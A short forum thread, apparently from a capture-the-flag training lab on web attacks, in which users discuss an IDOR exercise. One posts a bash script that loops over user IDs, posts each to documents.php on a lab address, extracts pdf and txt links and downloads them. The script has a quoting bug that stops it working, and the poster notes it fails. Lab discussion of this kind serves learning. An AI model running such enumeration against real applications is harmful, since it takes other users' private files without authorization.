Web Attacks

This IDOR vulnerability really pissed me off. I found where the burpde flag is, but I can’t find it with the bash script, the bash script I finally prepared downloads pdf and txt. Of course to the txt file with the flag. Contains spoilers!!!


I am so glad I am not the only person who was wound up by this. I have an almost identical scipt and it just doesn’t seem to work.

#!/bin/bash
url='http://94.237.56.124:34655'
for i in {1..20}; do
  response=$(curl -s "$url/documents.php" -d "uid=$i")
  links=$(echo "$response" | grep -oP "\/documents.*?\.(pdf|txt)")
  for link in $links; do
    wget -q '$url$link'
  done
done

Even if i do a curl command they all return the same blank?? :face_with_diagonal_mouth:

curl http://94.237.56.124:34655//documents.php?uid=18
